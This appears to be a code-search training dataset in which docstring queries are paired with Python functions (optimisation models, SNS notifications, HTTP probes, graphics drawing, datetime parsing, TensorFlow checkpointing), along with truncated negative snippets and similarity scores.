"def score_solution(g, s):\n pass",
"def scoreEvaluationFunction(currentGameState):\n return currentGameState.getScore()",
"def scoreEvaluationFunction(currentGameState):\n return currentGameState.getScore()",
"def scoreEvaluationFuncti... | [
"0.6913881",
"0.67433435",
"0.6517173",
"0.6517173",
"0.6517173",
"0.6517173",
"0.6517173",
"0.6517173",
"0.6514553",
"0.65127504",
"0.64637536",
"0.64637536",
"0.64637536",
"0.64637536",
"0.64637536",
"0.64637536",
"0.64637536",
"0.64637536",
"0.64637536",
"0.64637536",
"0.6... | 0.7744005 | 0 |
Validates if given solutions is as per the constraints | def ok(self, solution):
if self.constraints is not None:
for constraint in self.constraints:
if not constraint(solution):
return False
return True | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_constraints ( A, S, complete ) :\n\t\n\tok = True\n\t\n\tfor i in range(len(complete)) :\n\t\tif complete[i] :\n\t\t\tif not (dot(A[i],S) == 0) :\n\t\t\t\tok = False\n\t\t\t\tprint '\\n'\n\t\t\t\tprint '*** warning *** constraint %d not verified' % (i)\n\t\t\t\tvars_inds = (where(abs(A[i]) == 1))[0]\n\t\... | [
"0.7118976",
"0.7054554",
"0.6993789",
"0.6782743",
"0.66744995",
"0.6646843",
"0.6623786",
"0.66098017",
"0.65714705",
"0.6541072",
"0.6465648",
"0.6465648",
"0.6367656",
"0.6321812",
"0.63074505",
"0.6303715",
"0.62613684",
"0.62440664",
"0.6223591",
"0.62150496",
"0.620849... | 0.7211056 | 0 |
Generates a random solution for the given model | def any(self):
valid = False
solution = []
while not valid:
soln = []
for dec in self.decisions:
soln.append(random.randint(dec.low, dec.high))
valid = self.ok(soln)
if valid:
solution = soln
return solution | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_model (d):\n return np.random.rand (d+1, 1)",
"def randomSolution(self):\n # seed the random number generator\n random.seed()\n # loop through all the features\n for feature in self.features:\n # pick a random number based on the size of the feature's domain... | [
"0.6604877",
"0.6594979",
"0.62282896",
"0.61203724",
"0.6083288",
"0.59760904",
"0.59651244",
"0.5949435",
"0.59387463",
"0.5937297",
"0.59314245",
"0.589967",
"0.589614",
"0.58834136",
"0.5844669",
"0.58423555",
"0.581434",
"0.5803791",
"0.57688546",
"0.5707829",
"0.57031",... | 0.0 | -1 |
Constructor for Osyczka2 model | def __init__(self):
self.name = "Osyczka"
objectives = [ob_os_1, ob_os_2]
constraints = [con_os_1, con_os_2, con_os_3, con_os_4, con_os_5, con_os_6]
decisions = [Decision(0, 10), Decision(0, 10), Decision(1, 5), Decision(0, 6), Decision(1, 5), Decision(0, 10)]
Model.__init__(self... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self):\n self.name = \"Kursawe\"\n objectives = [o_ku_1, o_ku_2]\n decisions = [Decision(-5, 5), Decision(-5, 5), Decision(-5, 5)]\n Model.__init__(self, objectives, None, decisions)",
"def __init__(self):\n self.name = \"Schaffer\"\n objectives = [o_sh_1, o... | [
"0.73778796",
"0.7025361",
"0.6996897",
"0.6996897",
"0.6996897",
"0.6996897",
"0.6996897",
"0.6893153",
"0.656395",
"0.6520004",
"0.6520004",
"0.6498464",
"0.64387596",
"0.64387596",
"0.64387596",
"0.64387596",
"0.6397256",
"0.6388983",
"0.63875407",
"0.63851994",
"0.6379331... | 0.7899179 | 0 |
Constructor for Schaffer model | def __init__(self):
self.name = "Schaffer"
objectives = [o_sh_1, o_sh_2]
decisions = [Decision(-10 ** 5, 10 ** 5)]
Model.__init__(self, objectives, None, decisions) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self, model):\n self._model = model",
"def __init__(self, model):\n self.model = model",
"def __init__(self, model):\n self.model = model",
"def __init__(self, model):\n self.model = model",
"def __init__(self, model):\n self.model = model",
"def __init__(s... | [
"0.7268544",
"0.7181175",
"0.7181175",
"0.7181175",
"0.7181175",
"0.7096036",
"0.707674",
"0.70726955",
"0.70252573",
"0.70025045",
"0.6913892",
"0.6901609",
"0.6901609",
"0.68665624",
"0.68252325",
"0.68252325",
"0.68252325",
"0.67947894",
"0.67506754",
"0.67506754",
"0.6750... | 0.74169093 | 0 |
Constructor for Kursawe model | def __init__(self):
self.name = "Kursawe"
objectives = [o_ku_1, o_ku_2]
decisions = [Decision(-5, 5), Decision(-5, 5), Decision(-5, 5)]
Model.__init__(self, objectives, None, decisions) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__( self, weights, topics ):\n\n # Number of topics and dictionary size\n self.W, self.K = topics.shape\n assert( self.W > self.K )\n\n self.topics = topics\n MixtureModel.__init__(self, weights, topics)",
"def __init__(self, corpus: Corpus):\n\n # the legomena... | [
"0.6457493",
"0.6087304",
"0.60511214",
"0.5994956",
"0.5893758",
"0.5884114",
"0.5880795",
"0.5876523",
"0.5846621",
"0.58328944",
"0.5819378",
"0.5818917",
"0.5792546",
"0.5777222",
"0.5762234",
"0.57456267",
"0.5744699",
"0.57347846",
"0.5731228",
"0.572777",
"0.5710261",
... | 0.67541903 | 0 |
Add a phone number as a subscriber to the current Topic | def addSubscriber(self, phoneNumber):
if self.topicArn is None:
print 'ERROR: Notification topic not set!'
return
protocol = 'sms'
subscribeResponse = self.snsClient.subscribe(
TopicArn=self.topicArn,
Protocol=protocol,
Endpoint=phoneN... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _registerSubscriber(self, callerId, topic, topicType, callerApi):\n if topic not in self.FilterSubscribedTopics:\n self.__docWriter.addSub(callerId, topic, topicType)",
"def subscribe(self, subscriber):\n self.subscribers.append(subscriber)",
"def subscribe(self, transport, data):\... | [
"0.638156",
"0.6316568",
"0.6203704",
"0.6152549",
"0.61257267",
"0.5983778",
"0.59511983",
"0.59360534",
"0.59137255",
"0.58507955",
"0.5845568",
"0.58303136",
"0.5795692",
"0.5792568",
"0.57643414",
"0.5711302",
"0.57093185",
"0.5682131",
"0.5657824",
"0.5638501",
"0.563821... | 0.76084113 | 0 |
Set the current notification Topic to publish to. | def setTopic(self, topicName):
self.topicName = topicName
topicResponse = self.snsClient.create_topic(Name=topicName)
self.topicArn = topicResponse['TopicArn'] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def topic(self, topic):\n self.connection.topic(str(self), topic)",
"def publish(self, topic, value):\n msg = self.topics[topic]['msg']\n msg.data = value\n self.topics[topic]['publisher'].publish(msg)\n print(\"published \\t{} \\t{}\".format(topic, value))",
"def publish(sel... | [
"0.7300295",
"0.6720313",
"0.6679173",
"0.6460135",
"0.63635063",
"0.63403195",
"0.6270205",
"0.62209505",
"0.61958057",
"0.61898136",
"0.61469436",
"0.61271036",
"0.6069072",
"0.6053098",
"0.6024777",
"0.60241127",
"0.5992741",
"0.5967319",
"0.596672",
"0.5935147",
"0.591739... | 0.6317085 | 6 |
Send the notification to all subscribers of the topic. | def sendNotification(self, message):
if self.topicArn is None:
print 'ERROR: Notification topic not set!'
return
publishResponse = self.snsClient.publish(
TopicArn=self.topicArn,
Message=message
) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def notify(self) -> None:\n for s in self.subscribers:\n s()",
"def publish(self, topic: Hashable, *args, **kwargs):\n for sub in self.subscribers[topic]:\n sub(*args, **kwargs)",
"def notifyObservers(self, topic, value):\n for observer in self.observers:\n ... | [
"0.71747625",
"0.7128139",
"0.6884461",
"0.683371",
"0.6714019",
"0.6492596",
"0.64445055",
"0.63419384",
"0.629108",
"0.6211838",
"0.61023957",
"0.6012947",
"0.6004714",
"0.5979627",
"0.5935483",
"0.5925768",
"0.5887718",
"0.5871885",
"0.5865151",
"0.5843696",
"0.58203524",
... | 0.56351554 | 33 |
Execute http probe and count metrics | async def exec_probes(self, session: aiohttp.ClientSession,
counter: dict):
self._logger.debug('Start exec probe %s', self.url)
regexp_metrics = [RegexpMetrics(pattern) for pattern in self._patterns]
status_code_metrics = StatusCodeMetrics()
time_metrics = Time... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def poll_health():\n global timesCalled\n\n # Poll /health\n session = requests.Session()\n retry = Retry(connect=3, backoff_factor=0.5)\n adapter = HTTPAdapter(max_retries=retry)\n session.mount('http://', adapter)\n response = session.get(health_url)\n\n # Check HTTP status code\n stat... | [
"0.623642",
"0.5890013",
"0.5889076",
"0.588622",
"0.58364296",
"0.58144206",
"0.5729184",
"0.5712603",
"0.57124424",
"0.56684583",
"0.5641274",
"0.5602359",
"0.5582319",
"0.55592555",
"0.55570114",
"0.55567306",
"0.5549612",
"0.55015385",
"0.54746914",
"0.5471975",
"0.547004... | 0.636973 | 0 |
Method to write the XML file containing the information regarding the stop condition for branching in DET method @ In, filename, string, filename (with absolute path) of the XML file that needs to be printed out @ In, trigger, string, the name of the trigger variable | def writeXmlForDET(filename,trigger,listDict,stopInfo):
# trigger == 'variable trigger'
# Variables == 'variables changed in the branch control logic block'
# associated_pb = 'CDF' in case multibranch needs to be performed
# stopInfo {'end_time': end simulation time (already stopped), 'end_ts': end time s... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_gen_xml(self, out_file):\n\n param_list = []\n msg = []\n msg_type = []\n dep_node = []\n for line in self.full_ed_lines:\n param_list.append(line.text())\n dep_pkg = param_list[6].split(', ')\n if dep_pkg[len(dep_pkg) - 1] == '':\n ... | [
"0.5683157",
"0.5659544",
"0.55591834",
"0.55065686",
"0.5498814",
"0.5428093",
"0.54104936",
"0.5392612",
"0.53216076",
"0.5316584",
"0.5289246",
"0.52678",
"0.5199608",
"0.5194961",
"0.51714367",
"0.51580346",
"0.5156104",
"0.5138284",
"0.5084493",
"0.50813687",
"0.5064787"... | 0.79320467 | 0 |
Draw circle for face, sized relative to window size | def drawFace(win, winW, winH):
face = Circle(Point(winW/2, winH/2), min(winW, winH)*11/24)
face.setOutline("black")
face.setFill("burlywood")
face.draw(win) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __drawCircle(self, center, radius, color, drawwidth=1):\n radius *= self.viewZoom\n if radius < 1: radius = 1\n else: radius = int(radius)\n\n pygame.draw.circle(self.screen, color, center, radius, drawwidth)",
"def draw(self, window):\n radius = SQUARE_SIZE // 2 - PADDING\... | [
"0.7119598",
"0.67873436",
"0.67307967",
"0.65992916",
"0.6582572",
"0.65336627",
"0.65306664",
"0.65284276",
"0.6486938",
"0.64669365",
"0.64669365",
"0.6432975",
"0.64328283",
"0.6406504",
"0.6402449",
"0.638859",
"0.63861144",
"0.63558817",
"0.6353007",
"0.63493526",
"0.63... | 0.7234741 | 0 |
Draws eyes for face | def drawEyes(win, winW, winH):
# leftEye = Oval(Point(300-120-40, 300-80-20), Point(300-120+40, 300-80+20))
leftEye = Oval(Point(winW/2-winW/5-winW/15, winH/2-winH/7.5-winH/30),
Point(winW/2-winW/5+winW/15, winH/2-winH/7.5+winH/30))
leftEye.setFill("white")
leftEye.setOutline("black")
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def draw_eyes(self):\n GREEN = (0, 255, 0)\n for eye in self.eyes:\n if eye:\n cv2.circle(self.eyes_frame, eye, 8, GREEN, 1)",
"def draw(self, context):\n # TODO: Add this color to Add-on option\n color = (1.0, 1.0, 0.5, 1.0)\n alpha = 2.0 * math.atan(... | [
"0.8009308",
"0.6916443",
"0.63930106",
"0.6312382",
"0.6312382",
"0.6248364",
"0.62259424",
"0.61367136",
"0.61108315",
"0.6107865",
"0.60468125",
"0.60296154",
"0.6011443",
"0.59987676",
"0.59953946",
"0.5938486",
"0.58893174",
"0.5887674",
"0.58734787",
"0.5868707",
"0.585... | 0.7662611 | 1 |
Draws arc for mouth | def drawMouth(win, winW, winH):
drawArc(win, winW/2, winH/2, winH/4, 60, 1.5) # draw mouth | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def draw_arc(self, center_x, center_y, radius, thickness, start_angle, end_angle, edge_shine=False):\n\n if end_angle >= start_angle:\n pass\n else:\n start_angle, end_angle = end_angle, start_angle\n\n rad = radius\n while rad <= radius + thickness:\n a... | [
"0.7010531",
"0.67628413",
"0.6670524",
"0.646824",
"0.644992",
"0.6396002",
"0.63777846",
"0.63353235",
"0.6235798",
"0.6210867",
"0.6182836",
"0.61770433",
"0.6169239",
"0.61444896",
"0.6139231",
"0.61139756",
"0.61103326",
"0.60893536",
"0.60711163",
"0.6058924",
"0.604840... | 0.73307204 | 0 |
Draws arcs for eyebrows | def drawEyebrows(win, winW, winH):
drawArc(win, winW/2-winW/5, winH/2-winH/7.5+winH/10, winH/6, 30, 0.5) # left eyebrow
drawArc(win, winW/2+winW/5, winH/2-winH/7.5+winH/10, winH/6, 30, 0.5) # right eyebrow | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def horizontal_arcs_iglu():\n arc(screen, BLACK, (50, 560, 300, 20), 3.14, 0)\n arc(screen, BLACK, (60, 510, 280, 20), 3.14, 0)\n arc(screen, BLACK, (80, 460, 240, 20), 3.14, 0)\n arc(screen, BLACK, (120, 420, 160, 20), 3.14, 0)",
"def draw_edges():\n\n def bezier(p0, p1, p2, **kwargs):\n ... | [
"0.6601741",
"0.62746024",
"0.5991124",
"0.59876937",
"0.5959159",
"0.591964",
"0.5901125",
"0.58788854",
"0.58297336",
"0.58249354",
"0.58104646",
"0.5792224",
"0.5779965",
"0.5762585",
"0.5755536",
"0.57407904",
"0.5722869",
"0.5716876",
"0.5698326",
"0.5696385",
"0.5671755... | 0.6681989 | 0 |
Draws red nose with reflection spot (polygon) | def drawNose(win, winW, winH):
noseRad = winW/12
nose = Circle(Point(winW/2, winH/2+winH/15), noseRad)
nose.setOutline("red4")
nose.setFill("red")
nose.draw(win)
spot = Polygon(Point(winW/2+noseRad*0.7, winH/2+noseRad*0.6),
Point(winW/2+noseRad*0.7, winH/2+noseRad*0.4),
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def drawPoles(wn):\n wn.setworldcoordinates(-1, -5, 3, 20)\n t = turtle.Turtle()\n t.speed(0)\n t.pensize(3)\n t.up()\n t.goto(-.5, 0)\n t.down()\n t.goto(2.5, 0)\n t.up()\n for i in range(3):\n t.goto(i, 0)\n t.down()\n t.goto(i, 10)\n t.up()\n t.hidetu... | [
"0.6396361",
"0.63340116",
"0.6125329",
"0.6106198",
"0.60511094",
"0.6015702",
"0.5982887",
"0.5980764",
"0.59279174",
"0.59251344",
"0.5907863",
"0.59069467",
"0.5906906",
"0.58955175",
"0.5889194",
"0.5886915",
"0.58502054",
"0.58475804",
"0.58288246",
"0.58231246",
"0.581... | 0.6485777 | 0 |
Parse and convert JSON encoded string to a datetime object Parses a ``str`` and converts it to a ``datetime`` object. If the string is not a valid JSON (JavaScript) encoded datetime object, this function will return the minimum datetime value (``datetime.min``). | def parse_time(value: str) -> datetime:
try:
return datetime.strptime(value, "%Y-%m-%dT%H:%M:%SZ")
except ValueError:
return datetime.min | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def deserialize_datetime(string):\n try:\n from dateutil.parser import parse\n return parse(string)\n except ImportError:\n return string",
"def parse_datetime(date_str: str) -> datetime:\n return dateutil.parser.parse(date_str)",
"def parse_datetime(datetime_str: Text) -> datetim... | [
"0.744302",
"0.7120194",
"0.71064794",
"0.6967242",
"0.68595725",
"0.6754243",
"0.67372626",
"0.67316836",
"0.6660535",
"0.6657753",
"0.6657753",
"0.6628514",
"0.6533056",
"0.65272737",
"0.64970315",
"0.6493147",
"0.64533705",
"0.6433756",
"0.6431354",
"0.64138556",
"0.640424... | 0.6557024 | 12 |
Convert a ``datetime`` object to a JSON (JavaScript) string Formats the provided datetime object to a ``str`` that is compliant with the | def time_to_str(value: datetime) -> str:
if value is None or not isinstance(value, datetime):
raise ValueError("provided value is not a valid datetime object")
return value.strftime("%Y-%m-%dT%H:%M:%SZ") | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def time_to_js(obj):\n if isinstance(obj, (datetime.date, datetime.datetime)):\n return obj.isoformat()",
"def json_serial(obj):\n if isinstance(obj, datetime):\n return obj.isoformat()",
"def object_to_json(obj):\n if isinstance(obj, (datetime.datetime, datetime.date, datetime.time)):\n... | [
"0.7582491",
"0.75781405",
"0.74525875",
"0.7391628",
"0.7342249",
"0.7333236",
"0.7204316",
"0.7185797",
"0.7180997",
"0.7174835",
"0.70906",
"0.7060324",
"0.70553344",
"0.69751024",
"0.6969093",
"0.6942338",
"0.69343144",
"0.69328296",
"0.6923455",
"0.69231457",
"0.6921015"... | 0.61615 | 81 |
Helper function to extract values from a response ``dict`` Allows extraction of nested values from a ``dict`` for convenience. This also allows for type checking and for validating that mandatory properties were supplied. | def read_value(
key_path: str,
data: dict,
data_type: type,
mandatory=True
) -> any:
# build the path. we expect a ``key_path`` that looks like this:
# "key1.key2.key3" -> ["key1", "key2", "key3"]
segments = key_path.split(".")
# segments should always have at least one... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_nested_values(readable_response: dict, nested_headers: Dict[str, str]) -> None:\n for nested_name, new_name in nested_headers.items():\n nested_name_parts = nested_name.split('.')\n\n nested_value = readable_response\n for index, part in enumerate(nested_name_parts):\n ... | [
"0.6608302",
"0.63611734",
"0.63242656",
"0.6305682",
"0.6254108",
"0.62369514",
"0.62369514",
"0.6162515",
"0.60944676",
"0.600511",
"0.5999591",
"0.5893009",
"0.5866927",
"0.58222926",
"0.5801373",
"0.57999337",
"0.5750822",
"0.5737354",
"0.57366353",
"0.5667086",
"0.564737... | 0.0 | -1 |
Verify a named value for the specified type and convert if necessary Allows type checking of a named value against a provided data type. It also cleans up any type issues that may result from JSON encoding and decoding. | def __convert_value(
key: str,
value: any,
data_type: type
) -> any:
if value is None:
return None
if isinstance(value, data_type):
return value
# convert any integers if a float is expected. This can happen during
# JSON encoding and decoding.
if data_type... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _typecheck(name, value, *types):\n if not types:\n raise ValueError('expected one or more types, maybe use _textcheck?')\n if not isinstance(value, types):\n raise TypeError(\"expected %s for %s, got %r\"\n % (\" or \".join([t.__name__ for t in types]),\n ... | [
"0.7434002",
"0.7021828",
"0.6788915",
"0.6678147",
"0.65208954",
"0.65012234",
"0.6500186",
"0.64747125",
"0.64524627",
"0.6403695",
"0.63903934",
"0.63673615",
"0.63105714",
"0.6251769",
"0.62451476",
"0.6240222",
"0.62134886",
"0.61723894",
"0.61700064",
"0.6147381",
"0.61... | 0.6925098 | 2 |
Construct a new ``Enum`` from the provided ``str`` value. | def parse(
cls,
value: str
):
if value is None or len(value) == 0:
raise ValueError("provided value may not be None or empty")
for item in cls:
if value == item.value:
# found a matching value
return item
# Fa... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def from_string(cls, name: str) -> Enum:",
"def __new__(\n cls: type[_StrEnumT], value: str, *args: Any, **kwargs: Any\n ) -> _StrEnumT:\n if not isinstance(value, str):\n raise TypeError(f\"{value!r} is not a string\")\n return super().__new__(cls, value, *args, **kwargs)",
... | [
"0.82637477",
"0.7742584",
"0.64777374",
"0.6409345",
"0.63755476",
"0.6329693",
"0.6231835",
"0.6220948",
"0.6143497",
"0.61237514",
"0.5981851",
"0.5909587",
"0.58561826",
"0.58378655",
"0.58049613",
"0.57820725",
"0.57605124",
"0.5752845",
"0.5751351",
"0.5748314",
"0.5747... | 0.529642 | 44 |
Constructs a new PageInput object. Allows specifying which page to return from the server for API calls that support pagination. It allows to specify the page number and the quantity of items to return in the page. Default values for a page are page number ``1`` and ``100`` items per page. | def __init__(
self,
page: int = 1,
count: int = 100
):
self.__page = page
self.__count = count | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_page(self,page):\n params = join_params(self.parameters, \n {\"page\": set_limit(page),\n \"limit\": self._limit,\n \"url_domain\": self.url_domain,\n \"proxies\": self.proxies\n }\... | [
"0.63779694",
"0.63287973",
"0.6317754",
"0.61945075",
"0.6193627",
"0.60594785",
"0.6051231",
"0.5969106",
"0.5881306",
"0.58658224",
"0.5864686",
"0.58082473",
"0.57506007",
"0.5701854",
"0.56898767",
"0.5662524",
"0.55980915",
"0.55890274",
"0.5582403",
"0.5581198",
"0.554... | 0.5945838 | 8 |
Specifies the page number to return | def page(self) -> int:
return self.__page | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def page(self, number):\n self._page_number = number\n return super().page(number)",
"def get_page(self, num):\n return num + 10",
"def set_page(self, page):\n self.page = int(page)\n\n if self.page <= 0:\n # set first page, which depends on a maximum set\n ... | [
"0.802013",
"0.7974438",
"0.7316194",
"0.72551",
"0.69377774",
"0.68448406",
"0.678663",
"0.6745117",
"0.67229915",
"0.6713935",
"0.66886574",
"0.66727835",
"0.66701984",
"0.666149",
"0.66591924",
"0.6651029",
"0.65630484",
"0.65482336",
"0.6488619",
"0.64811134",
"0.6463532"... | 0.6897858 | 5 |
Specifies the maximum number of items to include per page | def count(self) -> int:
return self.__count | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_number_of_extra_items_in_page_with_initially_selected(self):\n return 10",
"def paging_results(self):\n\n return 30",
"def get_select_all_max_items(self):\n return 1500",
"def num_of_pages(self) -> int:\n try:\n return int(round(self.__number_of_items / 48))\n ... | [
"0.6868025",
"0.67130053",
"0.6613031",
"0.6493834",
"0.64883125",
"0.64483047",
"0.64483047",
"0.6440758",
"0.64371395",
"0.6395909",
"0.6358825",
"0.63505095",
"0.63237435",
"0.6323642",
"0.63033676",
"0.63024503",
"0.6282856",
"0.6256027",
"0.6241055",
"0.62391776",
"0.622... | 0.0 | -1 |
Specify a list of `SaveableObject`s to save and restore. | def __init__(self, tensor_slice_dict):
self._tensor_slice_dict = tensor_slice_dict | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save_all(self, obj_list):\n\n for obj in obj_list:\n self.save(obj)",
"def save_objects(*objects: EObject, path: str = \"./out.highlevelnaoapp\") -> None:\n resource = ResourceSet().create_resource(URI(path))\n for obj in objects:\n resource.append(obj)\n resource.save()",
... | [
"0.66502947",
"0.5862298",
"0.57990265",
"0.57858706",
"0.57265896",
"0.5684352",
"0.56591624",
"0.56534976",
"0.5627812",
"0.5593302",
"0.5582079",
"0.55595666",
"0.5555007",
"0.55091625",
"0.54883957",
"0.5468649",
"0.54618436",
"0.5453097",
"0.5452639",
"0.54345685",
"0.54... | 0.0 | -1 |
Save the saveable objects to a checkpoint with `file_prefix`. | def save(self, file_prefix, options=None):
options = options or checkpoint_options.CheckpointOptions()
tensor_names = []
tensors = []
slice_specs = []
for checkpoint_key, tensor_slices in self._tensor_slice_dict.items():
for slice_spec, tensor in tensor_slices.items():
if isinstance(te... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save(self, file_prefix, options=None):\n options = options or checkpoint_options.CheckpointOptions()\n\n # IMPLEMENTATION DETAILS: most clients should skip.\n #\n # Suffix for any well-formed \"checkpoint_prefix\", when sharded.\n # Transformations:\n # * Users pass in \"save_path\" in save()... | [
"0.8050191",
"0.72655725",
"0.70114654",
"0.68767583",
"0.6402732",
"0.63886064",
"0.6338492",
"0.6300955",
"0.6300955",
"0.6300955",
"0.62696517",
"0.6260468",
"0.6259008",
"0.62584656",
"0.6258426",
"0.6252518",
"0.6250101",
"0.62088394",
"0.6168359",
"0.6159923",
"0.613466... | 0.7847717 | 1 |
Restore the saveable objects from a checkpoint with `file_prefix`. | def restore(self, file_prefix, options=None):
options = options or checkpoint_options.CheckpointOptions()
tensor_names = []
tensor_dtypes = []
slice_specs = []
for checkpoint_key, tensor_slices in self._tensor_slice_dict.items():
for slice_spec, tensor in tensor_slices.items():
tensor... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def restore(self, file_prefix, options=None):\n options = options or checkpoint_options.CheckpointOptions()\n\n def restore_fn():\n restore_fn_inputs = {}\n restore_fn_input_count = {\n fn: len(keys) for fn, keys in self._restore_fn_to_keys.items()}\n\n restore_ops = {}\n # Sort ... | [
"0.7489",
"0.7427531",
"0.71940327",
"0.7081849",
"0.7081849",
"0.7081849",
"0.69074863",
"0.6745683",
"0.6576598",
"0.64617085",
"0.6417714",
"0.63264495",
"0.6171721",
"0.61581063",
"0.61405045",
"0.6077467",
"0.6041426",
"0.60319626",
"0.60011774",
"0.59856737",
"0.5977744... | 0.77099335 | 0 |
Append sharding information to a filename. | def sharded_filename(filename_tensor, shard, num_shards):
return gen_io_ops.sharded_filename(filename_tensor, shard, num_shards) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def shard_filename(path, tag, shard_num, total_shards):\n return os.path.join(\n path, \"%s-%s-%.5d-of-%.5d\" % (_PREFIX, tag, shard_num, total_shards))",
"def shard_path(self, shard_id, training=True):\n sub_dir = 'train' if training else 'validation'\n fname = 'shard-{}.tfrecord'.format(sha... | [
"0.6643691",
"0.5697363",
"0.56757563",
"0.5666619",
"0.54714036",
"0.5333628",
"0.53004414",
"0.5286781",
"0.5286214",
"0.52476746",
"0.5242944",
"0.5241004",
"0.5194285",
"0.5178036",
"0.5169993",
"0.5164789",
"0.51546425",
"0.51322526",
"0.51283985",
"0.5119813",
"0.509658... | 0.57318276 | 1 |
Converts the function to a python or tf.function with a single file arg. | def _get_mapped_registered_save_fn(fn, trackables, call_with_mapped_captures):
def save_fn(file_prefix):
return fn(trackables=trackables, file_prefix=file_prefix)
if call_with_mapped_captures is None:
return save_fn
else:
tf_fn = def_function.function(save_fn, autograph=False)
concrete = tf_fn.ge... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_fn(example):\n\n example_fmt = {\n \"image\": tf.FixedLenFeature((), tf.string),\n \"target\": tf.FixedLenFeature((), tf.float32, -1)\n }\n parsed = tf.parse_single_example(example, example_fmt)\n\n if return_full_size_image:\n preprocessed_ima... | [
"0.6461832",
"0.6380109",
"0.62550557",
"0.6169878",
"0.61032176",
"0.6076619",
"0.6076619",
"0.6032153",
"0.6014612",
"0.598684",
"0.5922275",
"0.59044355",
"0.5899847",
"0.5873922",
"0.58641714",
"0.5800746",
"0.57925206",
"0.5748485",
"0.56597507",
"0.5626676",
"0.56211656... | 0.0 | -1 |
Converts the function to a python or tf.function with a single file arg. | def _get_mapped_registered_restore_fn(fn, trackables,
call_with_mapped_captures):
def restore_fn(merged_prefix):
return fn(trackables=trackables, merged_prefix=merged_prefix)
if call_with_mapped_captures is None:
return restore_fn
else:
tf_fn = def_function.funct... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_fn(example):\n\n example_fmt = {\n \"image\": tf.FixedLenFeature((), tf.string),\n \"target\": tf.FixedLenFeature((), tf.float32, -1)\n }\n parsed = tf.parse_single_example(example, example_fmt)\n\n if return_full_size_image:\n preprocessed_ima... | [
"0.6461123",
"0.6379479",
"0.62560844",
"0.6169356",
"0.6103122",
"0.60771304",
"0.60771304",
"0.6031347",
"0.60146964",
"0.59866196",
"0.5921851",
"0.59050757",
"0.5899349",
"0.58734703",
"0.5863908",
"0.57994395",
"0.57915616",
"0.5747556",
"0.56598175",
"0.5627658",
"0.562... | 0.0 | -1 |
Specify a list of `SaveableObject`s to save and restore. | def __init__(self,
serialized_tensors,
registered_savers=None,
call_with_mapped_captures=None):
# Keep these two data structures so that we can map restored tensors to
# the Trackable restore functions.
self._keys_to_restore_fn = {}
self._restore_fn_to_keys =... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save_all(self, obj_list):\n\n for obj in obj_list:\n self.save(obj)",
"def save_objects(*objects: EObject, path: str = \"./out.highlevelnaoapp\") -> None:\n resource = ResourceSet().create_resource(URI(path))\n for obj in objects:\n resource.append(obj)\n resource.save()",
... | [
"0.6651304",
"0.5864228",
"0.5798191",
"0.5787132",
"0.5728009",
"0.568617",
"0.5660349",
"0.5654481",
"0.5629186",
"0.5594146",
"0.55825967",
"0.5560329",
"0.55546117",
"0.5508858",
"0.54890144",
"0.54680467",
"0.546173",
"0.54528034",
"0.5452184",
"0.54338443",
"0.54248416"... | 0.0 | -1 |
Serializes to a SaverDef referencing the current graph. | def to_proto(self):
filename_tensor = array_ops.placeholder(
shape=[], dtype=dtypes.string, name="saver_filename")
save_tensor = self._traced_save(filename_tensor)
restore_op = self._traced_restore(filename_tensor).op
return saver_pb2.SaverDef(
filename_tensor_name=filename_tensor.name,
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
